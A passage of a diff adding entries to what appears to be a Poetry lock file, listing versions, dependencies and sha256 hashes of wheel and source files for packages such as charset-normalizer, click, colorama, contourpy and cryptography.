+ {file = "cffi-1.15.1-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:db0fbb9c62743ce59a9ff687eb5f4afbe77e5e8403d6697f7446e5f609976f76"},
+ {file = "cffi-1.15.1-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:98d85c6a2bef81588d9227dde12db8a7f47f639f4a17c9ae08e773aa9c697bf3"},
+ {file = "cffi-1.15.1-cp39-cp39-win32.whl", hash = "sha256:40f4774f5a9d4f5e344f31a32b5096977b5d48560c5592e2f3d2c4374bd543ee"},
+ {file = "cffi-1.15.1-cp39-cp39-win_amd64.whl", hash = "sha256:70df4e3b545a17496c9b3f41f5115e69a4f2e77e94e1d2a8e1070bc0c38c8a3c"},
+ {file = "cffi-1.15.1.tar.gz", hash = "sha256:d400bfb9a37b1351253cb402671cea7e89bdecc294e8016a707f6d1d8ac934f9"},
+]
+
+[package.dependencies]
+pycparser = "*"
+
+[[package]]
+name = "charset-normalizer"
+version = "3.1.0"
+description = "The Real First Universal Charset Detector. Open, modern and actively maintained alternative to Chardet."
+category = "main"
+optional = false
+python-versions = ">=3.7.0"
+files = [
+ {file = "charset-normalizer-3.1.0.tar.gz", hash = "sha256:34e0a2f9c370eb95597aae63bf85eb5e96826d81e3dcf88b8886012906f509b5"},
+ {file = "charset_normalizer-3.1.0-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:e0ac8959c929593fee38da1c2b64ee9778733cdf03c482c9ff1d508b6b593b2b"},
+ {file = "charset_normalizer-3.1.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:d7fc3fca01da18fbabe4625d64bb612b533533ed10045a2ac3dd194bfa656b60"},
+ {file = "charset_normalizer-3.1.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:04eefcee095f58eaabe6dc3cc2262f3bcd776d2c67005880894f447b3f2cb9c1"},
+ {file = "charset_normalizer-3.1.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:20064ead0717cf9a73a6d1e779b23d149b53daf971169289ed2ed43a71e8d3b0"},
+ {file = "charset_normalizer-3.1.0-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:1435ae15108b1cb6fffbcea2af3d468683b7afed0169ad718451f8db5d1aff6f"},
+ {file = "charset_normalizer-3.1.0-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:c84132a54c750fda57729d1e2599bb598f5fa0344085dbde5003ba429a4798c0"},
+ {file = "charset_normalizer-3.1.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:75f2568b4189dda1c567339b48cba4ac7384accb9c2a7ed655cd86b04055c795"},
+ {file = "charset_normalizer-3.1.0-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:11d3bcb7be35e7b1bba2c23beedac81ee893ac9871d0ba79effc7fc01167db6c"},
+ {file = "charset_normalizer-3.1.0-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:891cf9b48776b5c61c700b55a598621fdb7b1e301a550365571e9624f270c203"},
+ {file = "charset_normalizer-3.1.0-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:5f008525e02908b20e04707a4f704cd286d94718f48bb33edddc7d7b584dddc1"},
+ {file = "charset_normalizer-3.1.0-cp310-cp310-musllinux_1_1_ppc64le.whl", hash = "sha256:b06f0d3bf045158d2fb8837c5785fe9ff9b8c93358be64461a1089f5da983137"},
+ {file = "charset_normalizer-3.1.0-cp310-cp310-musllinux_1_1_s390x.whl", hash = "sha256:49919f8400b5e49e961f320c735388ee686a62327e773fa5b3ce6721f7e785ce"},
+ {file = "charset_normalizer-3.1.0-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:22908891a380d50738e1f978667536f6c6b526a2064156203d418f4856d6e86a"},
+ {file = "charset_normalizer-3.1.0-cp310-cp310-win32.whl", hash = "sha256:12d1a39aa6b8c6f6248bb54550efcc1c38ce0d8096a146638fd4738e42284448"},
+ {file = "charset_normalizer-3.1.0-cp310-cp310-win_amd64.whl", hash = "sha256:65ed923f84a6844de5fd29726b888e58c62820e0769b76565480e1fdc3d062f8"},
+ {file = "charset_normalizer-3.1.0-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:9a3267620866c9d17b959a84dd0bd2d45719b817245e49371ead79ed4f710d19"},
+ {file = "charset_normalizer-3.1.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:6734e606355834f13445b6adc38b53c0fd45f1a56a9ba06c2058f86893ae8017"},
+ {file = "charset_normalizer-3.1.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:f8303414c7b03f794347ad062c0516cee0e15f7a612abd0ce1e25caf6ceb47df"},
+ {file = "charset_normalizer-3.1.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:aaf53a6cebad0eae578f062c7d462155eada9c172bd8c4d250b8c1d8eb7f916a"},
+ {file = "charset_normalizer-3.1.0-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:3dc5b6a8ecfdc5748a7e429782598e4f17ef378e3e272eeb1340ea57c9109f41"},
+ {file = "charset_normalizer-3.1.0-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:e1b25e3ad6c909f398df8921780d6a3d120d8c09466720226fc621605b6f92b1"},
+ {file = "charset_normalizer-3.1.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0ca564606d2caafb0abe6d1b5311c2649e8071eb241b2d64e75a0d0065107e62"},
+ {file = "charset_normalizer-3.1.0-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:b82fab78e0b1329e183a65260581de4375f619167478dddab510c6c6fb04d9b6"},
+ {file = "charset_normalizer-3.1.0-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:bd7163182133c0c7701b25e604cf1611c0d87712e56e88e7ee5d72deab3e76b5"},
+ {file = "charset_normalizer-3.1.0-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:11d117e6c63e8f495412d37e7dc2e2fff09c34b2d09dbe2bee3c6229577818be"},
+ {file = "charset_normalizer-3.1.0-cp311-cp311-musllinux_1_1_ppc64le.whl", hash = "sha256:cf6511efa4801b9b38dc5546d7547d5b5c6ef4b081c60b23e4d941d0eba9cbeb"},
+ {file = "charset_normalizer-3.1.0-cp311-cp311-musllinux_1_1_s390x.whl", hash = "sha256:abc1185d79f47c0a7aaf7e2412a0eb2c03b724581139193d2d82b3ad8cbb00ac"},
+ {file = "charset_normalizer-3.1.0-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:cb7b2ab0188829593b9de646545175547a70d9a6e2b63bf2cd87a0a391599324"},
+ {file = "charset_normalizer-3.1.0-cp311-cp311-win32.whl", hash = "sha256:c36bcbc0d5174a80d6cccf43a0ecaca44e81d25be4b7f90f0ed7bcfbb5a00909"},
+ {file = "charset_normalizer-3.1.0-cp311-cp311-win_amd64.whl", hash = "sha256:cca4def576f47a09a943666b8f829606bcb17e2bc2d5911a46c8f8da45f56755"},
+ {file = "charset_normalizer-3.1.0-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:0c95f12b74681e9ae127728f7e5409cbbef9cd914d5896ef238cc779b8152373"},
+ {file = "charset_normalizer-3.1.0-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:fca62a8301b605b954ad2e9c3666f9d97f63872aa4efcae5492baca2056b74ab"},
+ {file = "charset_normalizer-3.1.0-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:ac0aa6cd53ab9a31d397f8303f92c42f534693528fafbdb997c82bae6e477ad9"},
+ {file = "charset_normalizer-3.1.0-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:c3af8e0f07399d3176b179f2e2634c3ce9c1301379a6b8c9c9aeecd481da494f"},
+ {file = "charset_normalizer-3.1.0-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:3a5fc78f9e3f501a1614a98f7c54d3969f3ad9bba8ba3d9b438c3bc5d047dd28"},
+ {file = "charset_normalizer-3.1.0-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:628c985afb2c7d27a4800bfb609e03985aaecb42f955049957814e0491d4006d"},
+ {file = "charset_normalizer-3.1.0-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:74db0052d985cf37fa111828d0dd230776ac99c740e1a758ad99094be4f1803d"},
+ {file = "charset_normalizer-3.1.0-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:1e8fcdd8f672a1c4fc8d0bd3a2b576b152d2a349782d1eb0f6b8e52e9954731d"},
+ {file = "charset_normalizer-3.1.0-cp37-cp37m-musllinux_1_1_ppc64le.whl", hash = "sha256:04afa6387e2b282cf78ff3dbce20f0cc071c12dc8f685bd40960cc68644cfea6"},
+ {file = "charset_normalizer-3.1.0-cp37-cp37m-musllinux_1_1_s390x.whl", hash = "sha256:dd5653e67b149503c68c4018bf07e42eeed6b4e956b24c00ccdf93ac79cdff84"},
+ {file = "charset_normalizer-3.1.0-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:d2686f91611f9e17f4548dbf050e75b079bbc2a82be565832bc8ea9047b61c8c"},
+ {file = "charset_normalizer-3.1.0-cp37-cp37m-win32.whl", hash = "sha256:4155b51ae05ed47199dc5b2a4e62abccb274cee6b01da5b895099b61b1982974"},
+ {file = "charset_normalizer-3.1.0-cp37-cp37m-win_amd64.whl", hash = "sha256:322102cdf1ab682ecc7d9b1c5eed4ec59657a65e1c146a0da342b78f4112db23"},
+ {file = "charset_normalizer-3.1.0-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:e633940f28c1e913615fd624fcdd72fdba807bf53ea6925d6a588e84e1151531"},
+ {file = "charset_normalizer-3.1.0-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:3a06f32c9634a8705f4ca9946d667609f52cf130d5548881401f1eb2c39b1e2c"},
+ {file = "charset_normalizer-3.1.0-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:7381c66e0561c5757ffe616af869b916c8b4e42b367ab29fedc98481d1e74e14"},
+ {file = "charset_normalizer-3.1.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3573d376454d956553c356df45bb824262c397c6e26ce43e8203c4c540ee0acb"},
+ {file = "charset_normalizer-3.1.0-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:e89df2958e5159b811af9ff0f92614dabf4ff617c03a4c1c6ff53bf1c399e0e1"},
+ {file = "charset_normalizer-3.1.0-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:78cacd03e79d009d95635e7d6ff12c21eb89b894c354bd2b2ed0b4763373693b"},
+ {file = "charset_normalizer-3.1.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:de5695a6f1d8340b12a5d6d4484290ee74d61e467c39ff03b39e30df62cf83a0"},
+ {file = "charset_normalizer-3.1.0-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:1c60b9c202d00052183c9be85e5eaf18a4ada0a47d188a83c8f5c5b23252f649"},
+ {file = "charset_normalizer-3.1.0-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:f645caaf0008bacf349875a974220f1f1da349c5dbe7c4ec93048cdc785a3326"},
+ {file = "charset_normalizer-3.1.0-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:ea9f9c6034ea2d93d9147818f17c2a0860d41b71c38b9ce4d55f21b6f9165a11"},
+ {file = "charset_normalizer-3.1.0-cp38-cp38-musllinux_1_1_ppc64le.whl", hash = "sha256:80d1543d58bd3d6c271b66abf454d437a438dff01c3e62fdbcd68f2a11310d4b"},
+ {file = "charset_normalizer-3.1.0-cp38-cp38-musllinux_1_1_s390x.whl", hash = "sha256:73dc03a6a7e30b7edc5b01b601e53e7fc924b04e1835e8e407c12c037e81adbd"},
+ {file = "charset_normalizer-3.1.0-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:6f5c2e7bc8a4bf7c426599765b1bd33217ec84023033672c1e9a8b35eaeaaaf8"},
+ {file = "charset_normalizer-3.1.0-cp38-cp38-win32.whl", hash = "sha256:12a2b561af122e3d94cdb97fe6fb2bb2b82cef0cdca131646fdb940a1eda04f0"},
+ {file = "charset_normalizer-3.1.0-cp38-cp38-win_amd64.whl", hash = "sha256:3160a0fd9754aab7d47f95a6b63ab355388d890163eb03b2d2b87ab0a30cfa59"},
+ {file = "charset_normalizer-3.1.0-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:38e812a197bf8e71a59fe55b757a84c1f946d0ac114acafaafaf21667a7e169e"},
+ {file = "charset_normalizer-3.1.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:6baf0baf0d5d265fa7944feb9f7451cc316bfe30e8df1a61b1bb08577c554f31"},
+ {file = "charset_normalizer-3.1.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:8f25e17ab3039b05f762b0a55ae0b3632b2e073d9c8fc88e89aca31a6198e88f"},
+ {file = "charset_normalizer-3.1.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3747443b6a904001473370d7810aa19c3a180ccd52a7157aacc264a5ac79265e"},
+ {file = "charset_normalizer-3.1.0-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:b116502087ce8a6b7a5f1814568ccbd0e9f6cfd99948aa59b0e241dc57cf739f"},
+ {file = "charset_normalizer-3.1.0-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:d16fd5252f883eb074ca55cb622bc0bee49b979ae4e8639fff6ca3ff44f9f854"},
+ {file = "charset_normalizer-3.1.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:21fa558996782fc226b529fdd2ed7866c2c6ec91cee82735c98a197fae39f706"},
+ {file = "charset_normalizer-3.1.0-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:6f6c7a8a57e9405cad7485f4c9d3172ae486cfef1344b5ddd8e5239582d7355e"},
+ {file = "charset_normalizer-3.1.0-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:ac3775e3311661d4adace3697a52ac0bab17edd166087d493b52d4f4f553f9f0"},
+ {file = "charset_normalizer-3.1.0-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:10c93628d7497c81686e8e5e557aafa78f230cd9e77dd0c40032ef90c18f2230"},
+ {file = "charset_normalizer-3.1.0-cp39-cp39-musllinux_1_1_ppc64le.whl", hash = "sha256:6f4f4668e1831850ebcc2fd0b1cd11721947b6dc7c00bf1c6bd3c929ae14f2c7"},
+ {file = "charset_normalizer-3.1.0-cp39-cp39-musllinux_1_1_s390x.whl", hash = "sha256:0be65ccf618c1e7ac9b849c315cc2e8a8751d9cfdaa43027d4f6624bd587ab7e"},
+ {file = "charset_normalizer-3.1.0-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:53d0a3fa5f8af98a1e261de6a3943ca631c526635eb5817a87a59d9a57ebf48f"},
+ {file = "charset_normalizer-3.1.0-cp39-cp39-win32.whl", hash = "sha256:a04f86f41a8916fe45ac5024ec477f41f886b3c435da2d4e3d2709b22ab02af1"},
+ {file = "charset_normalizer-3.1.0-cp39-cp39-win_amd64.whl", hash = "sha256:830d2948a5ec37c386d3170c483063798d7879037492540f10a475e3fd6f244b"},
+ {file = "charset_normalizer-3.1.0-py3-none-any.whl", hash = "sha256:3d9098b479e78c85080c98e1e35ff40b4a31d8953102bb0fd7d1b6f8a2111a3d"},
+]
+
+[[package]]
+name = "click"
+version = "8.1.3"
+description = "Composable command line interface toolkit"
+category = "main"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "click-8.1.3-py3-none-any.whl", hash = "sha256:bb4d8133cb15a609f44e8213d9b391b0809795062913b383c62be0ee95b1db48"},
+ {file = "click-8.1.3.tar.gz", hash = "sha256:7682dc8afb30297001674575ea00d1814d808d6a36af415a82bd481d37ba7b8e"},
+]
+
+[package.dependencies]
+colorama = {version = "*", markers = "platform_system == \"Windows\""}
+
+[[package]]
+name = "colorama"
+version = "0.4.6"
+description = "Cross-platform colored terminal text."
+category = "main"
+optional = false
+python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,!=3.5.*,!=3.6.*,>=2.7"
+files = [
+ {file = "colorama-0.4.6-py2.py3-none-any.whl", hash = "sha256:4f1d9991f5acc0ca119f9d443620b77f9d6b33703e51011c16baf57afb285fc6"},
+ {file = "colorama-0.4.6.tar.gz", hash = "sha256:08695f5cb7ed6e0531a20572697297273c47b8cae5a63ffc6d6ed5c201be6e44"},
+]
+
+[[package]]
+name = "contourpy"
+version = "1.0.7"
+description = "Python library for calculating contours of 2D quadrilateral grids"
+category = "main"
+optional = false
+python-versions = ">=3.8"
+files = [
+ {file = "contourpy-1.0.7-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:95c3acddf921944f241b6773b767f1cbce71d03307270e2d769fd584d5d1092d"},
+ {file = "contourpy-1.0.7-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:fc1464c97579da9f3ab16763c32e5c5d5bb5fa1ec7ce509a4ca6108b61b84fab"},
+ {file = "contourpy-1.0.7-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:8acf74b5d383414401926c1598ed77825cd530ac7b463ebc2e4f46638f56cce6"},
+ {file = "contourpy-1.0.7-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:1c71fdd8f1c0f84ffd58fca37d00ca4ebaa9e502fb49825484da075ac0b0b803"},
+ {file = "contourpy-1.0.7-cp310-cp310-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:f99e9486bf1bb979d95d5cffed40689cb595abb2b841f2991fc894b3452290e8"},
+ {file = "contourpy-1.0.7-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:87f4d8941a9564cda3f7fa6a6cd9b32ec575830780677932abdec7bcb61717b0"},
+ {file = "contourpy-1.0.7-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:9e20e5a1908e18aaa60d9077a6d8753090e3f85ca25da6e25d30dc0a9e84c2c6"},
+ {file = "contourpy-1.0.7-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:a877ada905f7d69b2a31796c4b66e31a8068b37aa9b78832d41c82fc3e056ddd"},
+ {file = "contourpy-1.0.7-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:6381fa66866b0ea35e15d197fc06ac3840a9b2643a6475c8fff267db8b9f1e69"},
+ {file = "contourpy-1.0.7-cp310-cp310-win32.whl", hash = "sha256:3c184ad2433635f216645fdf0493011a4667e8d46b34082f5a3de702b6ec42e3"},
+ {file = "contourpy-1.0.7-cp310-cp310-win_amd64.whl", hash = "sha256:3caea6365b13119626ee996711ab63e0c9d7496f65641f4459c60a009a1f3e80"},
+ {file = "contourpy-1.0.7-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:ed33433fc3820263a6368e532f19ddb4c5990855e4886088ad84fd7c4e561c71"},
+ {file = "contourpy-1.0.7-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:38e2e577f0f092b8e6774459317c05a69935a1755ecfb621c0a98f0e3c09c9a5"},
+ {file = "contourpy-1.0.7-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:ae90d5a8590e5310c32a7630b4b8618cef7563cebf649011da80874d0aa8f414"},
+ {file = "contourpy-1.0.7-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:130230b7e49825c98edf0b428b7aa1125503d91732735ef897786fe5452b1ec2"},
+ {file = "contourpy-1.0.7-cp311-cp311-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:58569c491e7f7e874f11519ef46737cea1d6eda1b514e4eb5ac7dab6aa864d02"},
+ {file = "contourpy-1.0.7-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:54d43960d809c4c12508a60b66cb936e7ed57d51fb5e30b513934a4a23874fae"},
+ {file = "contourpy-1.0.7-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:152fd8f730c31fd67fe0ffebe1df38ab6a669403da93df218801a893645c6ccc"},
+ {file = "contourpy-1.0.7-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:9056c5310eb1daa33fc234ef39ebfb8c8e2533f088bbf0bc7350f70a29bde1ac"},
+ {file = "contourpy-1.0.7-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:a9d7587d2fdc820cc9177139b56795c39fb8560f540bba9ceea215f1f66e1566"},
+ {file = "contourpy-1.0.7-cp311-cp311-win32.whl", hash = "sha256:4ee3ee247f795a69e53cd91d927146fb16c4e803c7ac86c84104940c7d2cabf0"},
+ {file = "contourpy-1.0.7-cp311-cp311-win_amd64.whl", hash = "sha256:5caeacc68642e5f19d707471890f037a13007feba8427eb7f2a60811a1fc1350"},
+ {file = "contourpy-1.0.7-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:fd7dc0e6812b799a34f6d12fcb1000539098c249c8da54f3566c6a6461d0dbad"},
+ {file = "contourpy-1.0.7-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:0f9d350b639db6c2c233d92c7f213d94d2e444d8e8fc5ca44c9706cf72193772"},
+ {file = "contourpy-1.0.7-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:e96a08b62bb8de960d3a6afbc5ed8421bf1a2d9c85cc4ea73f4bc81b4910500f"},
+ {file = "contourpy-1.0.7-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:031154ed61f7328ad7f97662e48660a150ef84ee1bc8876b6472af88bf5a9b98"},
+ {file = "contourpy-1.0.7-cp38-cp38-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:2e9ebb4425fc1b658e13bace354c48a933b842d53c458f02c86f371cecbedecc"},
+ {file = "contourpy-1.0.7-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:efb8f6d08ca7998cf59eaf50c9d60717f29a1a0a09caa46460d33b2924839dbd"},
+ {file = "contourpy-1.0.7-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:6c180d89a28787e4b73b07e9b0e2dac7741261dbdca95f2b489c4f8f887dd810"},
+ {file = "contourpy-1.0.7-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:b8d587cc39057d0afd4166083d289bdeff221ac6d3ee5046aef2d480dc4b503c"},
+ {file = "contourpy-1.0.7-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:769eef00437edf115e24d87f8926955f00f7704bede656ce605097584f9966dc"},
+ {file = "contourpy-1.0.7-cp38-cp38-win32.whl", hash = "sha256:62398c80ef57589bdbe1eb8537127321c1abcfdf8c5f14f479dbbe27d0322e66"},
+ {file = "contourpy-1.0.7-cp38-cp38-win_amd64.whl", hash = "sha256:57119b0116e3f408acbdccf9eb6ef19d7fe7baf0d1e9aaa5381489bc1aa56556"},
+ {file = "contourpy-1.0.7-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:30676ca45084ee61e9c3da589042c24a57592e375d4b138bd84d8709893a1ba4"},
+ {file = "contourpy-1.0.7-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:3e927b3868bd1e12acee7cc8f3747d815b4ab3e445a28d2e5373a7f4a6e76ba1"},
+ {file = "contourpy-1.0.7-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:366a0cf0fc079af5204801786ad7a1c007714ee3909e364dbac1729f5b0849e5"},
+ {file = "contourpy-1.0.7-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:89ba9bb365446a22411f0673abf6ee1fea3b2cf47b37533b970904880ceb72f3"},
+ {file = "contourpy-1.0.7-cp39-cp39-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:71b0bf0c30d432278793d2141362ac853859e87de0a7dee24a1cea35231f0d50"},
+ {file = "contourpy-1.0.7-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e7281244c99fd7c6f27c1c6bfafba878517b0b62925a09b586d88ce750a016d2"},
+ {file = "contourpy-1.0.7-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:b6d0f9e1d39dbfb3977f9dd79f156c86eb03e57a7face96f199e02b18e58d32a"},
+ {file = "contourpy-1.0.7-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:7f6979d20ee5693a1057ab53e043adffa1e7418d734c1532e2d9e915b08d8ec2"},
+ {file = "contourpy-1.0.7-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:5dd34c1ae752515318224cba7fc62b53130c45ac6a1040c8b7c1a223c46e8967"},
+ {file = "contourpy-1.0.7-cp39-cp39-win32.whl", hash = "sha256:c5210e5d5117e9aec8c47d9156d1d3835570dd909a899171b9535cb4a3f32693"},
+ {file = "contourpy-1.0.7-cp39-cp39-win_amd64.whl", hash = "sha256:60835badb5ed5f4e194a6f21c09283dd6e007664a86101431bf870d9e86266c4"},
+ {file = "contourpy-1.0.7-pp38-pypy38_pp73-macosx_10_9_x86_64.whl", hash = "sha256:ce41676b3d0dd16dbcfabcc1dc46090aaf4688fd6e819ef343dbda5a57ef0161"},
+ {file = "contourpy-1.0.7-pp38-pypy38_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5a011cf354107b47c58ea932d13b04d93c6d1d69b8b6dce885e642531f847566"},
+ {file = "contourpy-1.0.7-pp38-pypy38_pp73-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:31a55dccc8426e71817e3fe09b37d6d48ae40aae4ecbc8c7ad59d6893569c436"},
+ {file = "contourpy-1.0.7-pp38-pypy38_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:69f8ff4db108815addd900a74df665e135dbbd6547a8a69333a68e1f6e368ac2"},
+ {file = "contourpy-1.0.7-pp38-pypy38_pp73-win_amd64.whl", hash = "sha256:efe99298ba37e37787f6a2ea868265465410822f7bea163edcc1bd3903354ea9"},
+ {file = "contourpy-1.0.7-pp39-pypy39_pp73-macosx_10_9_x86_64.whl", hash = "sha256:a1e97b86f73715e8670ef45292d7cc033548266f07d54e2183ecb3c87598888f"},
+ {file = "contourpy-1.0.7-pp39-pypy39_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:cc331c13902d0f50845099434cd936d49d7a2ca76cb654b39691974cb1e4812d"},
+ {file = "contourpy-1.0.7-pp39-pypy39_pp73-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:24847601071f740837aefb730e01bd169fbcaa610209779a78db7ebb6e6a7051"},
+ {file = "contourpy-1.0.7-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:abf298af1e7ad44eeb93501e40eb5a67abbf93b5d90e468d01fc0c4451971afa"},
+ {file = "contourpy-1.0.7-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:64757f6460fc55d7e16ed4f1de193f362104285c667c112b50a804d482777edd"},
+ {file = "contourpy-1.0.7.tar.gz", hash = "sha256:d8165a088d31798b59e91117d1f5fc3df8168d8b48c4acc10fc0df0d0bdbcc5e"},
+]
+
+[package.dependencies]
+numpy = ">=1.16"
+
+[package.extras]
+bokeh = ["bokeh", "chromedriver", "selenium"]
+docs = ["furo", "sphinx-copybutton"]
+mypy = ["contourpy[bokeh]", "docutils-stubs", "mypy (==0.991)", "types-Pillow"]
+test = ["Pillow", "matplotlib", "pytest"]
+test-no-images = ["pytest"]
+
+[[package]]
+name = "cryptography"
+version = "41.0.1"
+description = "cryptography is a package which provides cryptographic recipes and primitives to Python developers."
+category = "main"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "cryptography-41.0.1-cp37-abi3-macosx_10_12_universal2.whl", hash = "sha256:f73bff05db2a3e5974a6fd248af2566134d8981fd7ab012e5dd4ddb1d9a70699"},
+ {file = "cryptography-41.0.1-cp37-abi3-macosx_10_12_x86_64.whl", hash = "sha256:1a5472d40c8f8e91ff7a3d8ac6dfa363d8e3138b961529c996f3e2df0c7a411a"},
+ {file = "cryptography-41.0.1-cp37-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:7fa01527046ca5facdf973eef2535a27fec4cb651e4daec4d043ef63f6ecd4ca"},
+ {file = "cryptography-41.0.1-cp37-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b46e37db3cc267b4dea1f56da7346c9727e1209aa98487179ee8ebed09d21e43"},
+ {file = "cryptography-41.0.1-cp37-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:d198820aba55660b4d74f7b5fd1f17db3aa5eb3e6893b0a41b75e84e4f9e0e4b"},
